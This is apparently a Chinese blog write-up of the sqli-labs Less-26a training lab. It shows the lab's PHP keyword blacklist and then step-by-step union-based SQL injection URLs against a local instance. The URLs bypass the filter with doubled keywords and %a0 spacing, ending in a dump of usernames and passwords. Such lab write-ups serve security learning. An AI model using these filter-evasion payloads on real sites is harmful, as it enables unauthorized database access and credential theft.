目 录CONTENT

文章目录

sqli-labs系列——Less-26a

CZ
CZ
2023-06-26 / 0 评论 / 1 点赞 / 363 阅读 / 3722 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

前言

26a这题估计肯定跟26题类似,盲猜一波,肯定依旧是过滤了一堆东西,思路还是一样的,过滤注释我们就用引号闭合绕过,过滤and和or我们就用anandd和oorr绕过,过滤了空格我们就用%a0或者%0a绕过

分析源码

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

可以看出果不出我们所料过滤了一堆

实验环节

前期准备

上节提过在windows系统下使用特殊空格字符代替空格有问题,那么我们这题使用kali部署的sqli-labs

su -  root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs    #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令

浏览器访问Less-26a地址

http://192.168.199.129/Less-26a/

image-1687764584459

从源码判断闭合方式

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
#从这看闭合方式中可能有单引号和括号,我们实际测试一下
http://192.168.199.129/Less-26a/?id=1') || ('1
#构造语句页面显示正常说明是单引号加括号的字符型注入

image-1687764911214

判断显示位

http://192.168.199.129/Less-26a/?id=0')union%a0select%a01,2,3||('1'='1

image-1687770174171

判断库名

http://192.168.199.129/Less-26a/?id=0')%a0union%a0select%a01,database(),3||('1'='1

image-1687769210203

判断表名

http://192.168.199.129/Less-26a/?id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%0binfoorrmation_schema.tables%a0where%a0table_schema=database()anandd('1'='1

image-1687770006340

判断列名

http://192.168.199.129/Less-26a/?id=0')union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0anandd %a0table_name='emails'%26%26%a0('1'='1

image-1687770716804

判断数据

http://192.168.199.129/Less-26a/?id=0')%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0('1'='1

image-1687771066626

1

评论区